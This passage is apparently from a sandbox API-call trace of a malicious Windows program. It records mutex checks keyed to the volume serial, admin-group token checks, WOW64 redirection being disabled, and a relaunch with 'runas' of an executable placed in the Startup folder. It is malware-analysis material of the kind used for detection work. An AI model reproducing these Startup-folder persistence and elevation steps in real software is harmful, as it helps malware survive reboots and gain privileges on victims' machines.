hHeap=0xda0000) returned 1 [0205.828] GetProcessHeap () returned 0xda0000 [0205.828] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x40) returned 0xdae080 [0205.828] GetProcessHeap () returned 0xda0000 [0205.828] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x3a) returned 0xdadcd8 [0205.828] GetProcessHeap () returned 0xda0000 [0205.828] RtlReAllocateHeap (Heap=0xda0000, Flags=0x0, Ptr=0xdadcd8, Size=0x72) returned 0xdaafb8 [0205.828] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x1dc [0205.828] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x102 [0205.828] CloseHandle (hObject=0x1dc) returned 1 [0205.828] GetProcessHeap () returned 0xda0000 [0205.828] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdae080 | out: hHeap=0xda0000) returned 1 [0205.828] GetProcessHeap () returned 0xda0000 [0205.828] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaafb8 | out: hHeap=0xda0000) returned 1 [0205.828] GetProcessHeap () returned 0xda0000 [0205.829] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20) returned 0xdaa348 [0205.829] GetProcessHeap () returned 0xda0000 [0205.829] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x1e) returned 0xdaa370 [0205.829] GetProcessHeap () returned 0xda0000 [0205.829] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x1e) returned 0xdaa270 [0205.829] GetProcessHeap () returned 0xda0000 [0205.829] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x90) returned 0xda4d00 [0205.829] GetProcessHeap () returned 0xda0000 [0205.829] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda4d00 | out: hHeap=0xda0000) returned 1 [0205.829] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xdaa370, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.829] GetProcessHeap () returned 0xda0000 [0205.829] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa270 | out: hHeap=0xda0000) returned 1 [0205.829] GetProcessHeap () returned 0xda0000 [0205.829] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa348 | out: hHeap=0xda0000) returned 1 [0205.829] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd7fa7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd7fa7c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.829] GetProcessHeap () returned 0xda0000 [0205.829] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa370 | out: hHeap=0xda0000) returned 1 [0205.829] GetProcessHeap () returned 0xda0000 [0205.830] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x40) returned 0xdae230 [0205.830] GetProcessHeap () returned 0xda0000 [0205.830] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x3a) returned 0xdadcd8 [0205.830] GetProcessHeap () returned 0xda0000 [0205.830] RtlReAllocateHeap (Heap=0xda0000, Flags=0x0, Ptr=0xdadcd8, Size=0x72) returned 0xdaafb8 [0205.830] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0205.830] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x1dc [0205.830] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x0 [0205.830] GetProcessHeap () returned 0xda0000 [0205.830] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdae230 | out: hHeap=0xda0000) returned 1 [0205.830] GetProcessHeap () returned 0xda0000 [0205.830] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaafb8 | out: hHeap=0xda0000) returned 1 [0205.830] ReleaseMutex (hMutex=0x1dc) returned 1 [0205.830] CloseHandle (hObject=0x1dc) returned 1 [0205.830] GetVersion () returned 0x23f00206 [0205.830] GetProcessHeap () returned 0xda0000 [0205.830] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x10) returned 0xda7e18 [0205.830] GetProcessHeap () returned 0xda0000 [0205.831] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20a) returned 0xdba2f8 [0205.831] GetCurrentProcess () returned 0xffffffff [0205.831] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xd7fabc | out: TokenHandle=0xd7fabc*=0x1dc) returned 1 [0205.831] GetTokenInformation (in: TokenHandle=0x1dc, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xd7fad4 | out: TokenInformation=0x0, ReturnLength=0xd7fad4) returned 0 [0205.831] GetProcessHeap () returned 0xda0000 [0205.831] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x140) returned 0xdab3a0 [0205.831] GetTokenInformation (in: TokenHandle=0x1dc, TokenInformationClass=0x2, TokenInformation=0xdab3a0, TokenInformationLength=0x140, ReturnLength=0xd7fad4 | out: TokenInformation=0xdab3a0, ReturnLength=0xd7fad4) returned 1 [0205.831] AllocateAndInitializeSid (in: pIdentifierAuthority=0xd7fac8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xd7fad0 | out: pSid=0xd7fad0*=0xda7e78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0205.831] EqualSid (pSid1=0xda7e78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xdab414*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4))) returned 0 [0205.831] EqualSid (pSid1=0xda7e78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xdab430*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0205.831] EqualSid (pSid1=0xda7e78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xdab43c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72)) returned 0 [0205.831] EqualSid (pSid1=0xda7e78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xdab448*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0205.831] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xdab448*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), Name=0xd7f6a0, cchName=0xd7fad4, ReferencedDomainName=0xd7f8ac, cchReferencedDomainName=0xd7fad4, peUse=0xd7fab8 | out: Name="Administrators", cchName=0xd7fad4, ReferencedDomainName="BUILTIN", cchReferencedDomainName=0xd7fad4, peUse=0xd7fab8) returned 1 [0205.838] GetProcessHeap () returned 0xda0000 [0205.838] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdab3a0 | out: hHeap=0xda0000) returned 1 [0205.838] GetProcessHeap () returned 0xda0000 [0205.839] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x50) returned 0xdaa9a0 [0205.839] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0205.839] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0205.839] Wow64DisableWow64FsRedirection (in: OldValue=0xd7faf0 | out: OldValue=0xd7faf0*=0x0) returned 1 [0205.839] GetProcessHeap () returned 0xda0000 [0205.840] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa9a0 | out: hHeap=0xda0000) returned 1 [0205.840] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdba2f8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0205.840] ShellExecuteExW (in: pExecInfo=0xd7fa94*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xd7fa94*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0281.488] GetProcessHeap () returned 0xda0000 [0281.489] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x50) returned 0xdec8b8 [0281.489] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0281.489] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0281.489] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdec8b8 | out: hHeap=0xda0000) returned 1 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdba2f8 | out: hHeap=0xda0000) returned 1 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda7e18 | out: hHeap=0xda0000) returned 1 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20) returned 0xded168 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x1e) returned 0xded3c0 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x1e) returned 0xded258 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x90) returned 0xdef0e0 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdef0e0 | out: hHeap=0xda0000) returned 1 [0281.489] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xded3c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0281.489] GetProcessHeap () returned 0xda0000 [0281.489] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xded258 | out: hHeap=0xda0000) returned 1 [0281.490] GetProcessHeap () returned 0xda0000 [0281.490] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xded168 | out: hHeap=0xda0000) returned 1 [0281.490] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd7fa7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd7fa7c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0281.490] GetProcessHeap () returned 0xda0000 [0281.490] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xded3c0 | out: hHeap=0xda0000) returned 1 [0281.490] GetProcessHeap () returned 0xda0000 [0281.490] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x40) returned 0xdcc530 [0281.490] GetProcessHeap () returned 0xda0000 [0281.490] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x3a) returned 0xdcbf48 [0281.490] GetProcessHeap () returned 0xda0000 [0281.490] RtlReAllocateHeap (Heap=0xda0000, Flags=0x0, Ptr=0xdcbf48, Size=0x72) returned 0xdc4960 [0281.490] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x24c [0281.490] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0281.490] CloseHandle (hObject=0x24c) returned 1 [0281.490] GetProcessHeap () returned 0xda0000 [0281.490] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdcc530 | out: hHeap=0xda0000) returned 1 [0281.490] GetProcessHeap () returned 0xda0000 [0281.490] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdc4960 | out: hHeap=0xda0000) returned 1 [0281.491] GetProcessHeap () returned 0xda0000 [0281.491] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda2cb0 | out: hHeap=0xda0000) returned 1 [0281.492] GetProcessHeap () returned 0xda0000 [0281.492] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda47d0 | out: hHeap=0xda0000) returned 1 [0281.492] GetProcessHeap () returned 0xda0000 [0281.492] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda45b8 | out: hHeap=0xda0000) returned 1 [0281.492] GetProcessHeap () returned 0xda0000 [0281.492] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaaec8 | out: hHeap=0xda0000) returned 1 [0281.492] GetProcessHeap () returned 0xda0000 [0281.492] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdb9ff0 | out: hHeap=0xda0000) returned 1 [0281.492] GetProcessHeap () returned 0xda0000 [0281.492] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdb6b28 | out: hHeap=0xda0000) returned 1 [0281.493] GetProcessHeap () returned 0xda0000 [0281.493] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdb6ac0 | out: hHeap=0xda0000) returned 1 [0281.493] ExitProcess (uExitCode=0x0) Thread: id = 50 os_tid = 0xcc4 Thread: id = 51 os_tid = 0xcd8 Thread: id = 52 os_tid = 0xcdc Thread: id = 62 os_tid = 0xd28 Thread: id = 63 os_tid = 0xd30 Thread: id = 64 os_tid = 0xd34 Thread: id = 65 os_tid = 0xd38 Thread: id = 89 os_tid = 0xc04 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3b545000" os_pid = "0x564" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e885" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 74 os_tid = 0x294 Thread: id = 75 os_tid = 0x8e8 Thread: id = 76 os_tid = 0xa00 Thread: id = 77 os_tid = 0x9fc Thread: id = 78 os_tid = 0x9f8 Thread: id = 79 os_tid = 0x630 Thread: id = 80 os_tid = 0x62c Thread: id = 81 os_tid = 0x5f8 Thread: id = 82 os_tid = 0x5f4 Thread: id = 83 os_tid = 0x5f0 Thread: id = 84 os_tid = 0x568 Process: id = "13" image_name = "mjhrrw.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" page_root = "0x4f369000" os_pid = "0xff4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xcb4" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0xff8 [0273.086] GetProcessHeap () returned 0xaf0000 [0273.086] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x30) returned 0xb06620 [0273.086] GetProcessHeap () returned 0xaf0000 [0273.086] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x34c0) returned 0xb06ab0 [0273.094] GetProcessHeap () returned 0xaf0000 [0273.094] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x300) returned 0xb09f78 [0273.095] GetProcessHeap () returned 0xaf0000 [0273.095] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xafadc0 [0273.096] GetTickCount () returned 0x1152f2a [0273.096] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x79fcf0, cchData=32 | out: lpLCData="\x03") returned 16 [0273.097] GetProcessHeap () returned 0xaf0000 [0273.097] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xaf44f8 [0273.097] GetProcessHeap () returned 0xaf0000 [0273.097] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xafa0e8 [0273.097] GetProcessHeap () returned 0xaf0000 [0273.097] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a280 [0273.097] GetProcessHeap () returned 0xaf0000 [0273.097] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a498 [0273.097] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb0a498, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0273.098] GetProcessHeap () returned 0xaf0000 [0273.098] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a498 | out: hHeap=0xaf0000) returned 1 [0273.098] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.098] GetProcessHeap () returned 0xaf0000 [0273.098] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa0e8 | out: hHeap=0xaf0000) returned 1 [0273.098] GetProcessHeap () returned 0xaf0000 [0273.098] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a280 | out: hHeap=0xaf0000) returned 1 [0273.098] GetProcessHeap () returned 0xaf0000 [0273.098] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf44f8 | out: hHeap=0xaf0000) returned 1 [0273.098] GetVersion () returned 0x23f00206 [0273.098] GetCurrentProcess () returned 0xffffffff [0273.098] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x79fc84 | out: TokenHandle=0x79fc84*=0x1dc) returned 1 [0273.099] GetTokenInformation (in: TokenHandle=0x1dc, TokenInformationClass=0x14, TokenInformation=0x79fc7c, TokenInformationLength=0x4, ReturnLength=0x79fc80 | out: TokenInformation=0x79fc7c, ReturnLength=0x79fc80) returned 1 [0273.099] CloseHandle (hObject=0x1dc) returned 1 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xaf44f8 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xafa0e8 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a280 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa0e8 | out: hHeap=0xaf0000) returned 1 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a280 | out: hHeap=0xaf0000) returned 1 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xaf4710 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xaf2bf0 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xaf8d40 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.099] GetProcessHeap () returned 0xaf0000 [0273.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.100] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xaf2bf0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0273.832] GetProcessHeap () returned 0xaf0000 [0273.832] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d40 | out: hHeap=0xaf0000) returned 1 [0273.832] GetProcessHeap () returned 0xaf0000 [0273.832] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4710 | out: hHeap=0xaf0000) returned 1 [0273.832] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x79fc3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x79fc3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.833] GetProcessHeap () returned 0xaf0000 [0273.833] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf2bf0 | out: hHeap=0xaf0000) returned 1 [0273.833] GetProcessHeap () returned 0xaf0000 [0273.833] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x30) returned 0xb067e0 [0273.833] GetProcessHeap () returned 0xaf0000 [0273.833] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x2a) returned 0xb062d8 [0273.833] GetProcessHeap () returned 0xaf0000 [0273.833] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xb062d8, Size=0x52) returned 0xaf42b0 [0273.833] GetProcessHeap () returned 0xaf0000 [0273.833] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb067e0 | out: hHeap=0xaf0000) returned 1 [0273.833] GetProcessHeap () returned 0xaf0000 [0273.833] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf42b0 | out: hHeap=0xaf0000) returned 1 [0273.833] GetProcessHeap () returned 0xaf0000 [0273.833] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1c) returned 0xaf2bf0 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1c) returned 0xaf4710 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xaf8d40 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xaf8d68 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xaf8c68 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.834] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xaf8d68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8c68 | out: hHeap=0xaf0000) returned 1 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.834] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d40 | out: hHeap=0xaf0000) returned 1 [0273.834] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x79fc24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x79fc24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.834] GetProcessHeap () returned 0xaf0000 [0273.835] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d68 | out: hHeap=0xaf0000) returned 1 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafdcf0 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafdd80 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafdd80, Size=0x72) returned 0xafae98 [0273.835] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0273.835] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x1dc [0273.835] 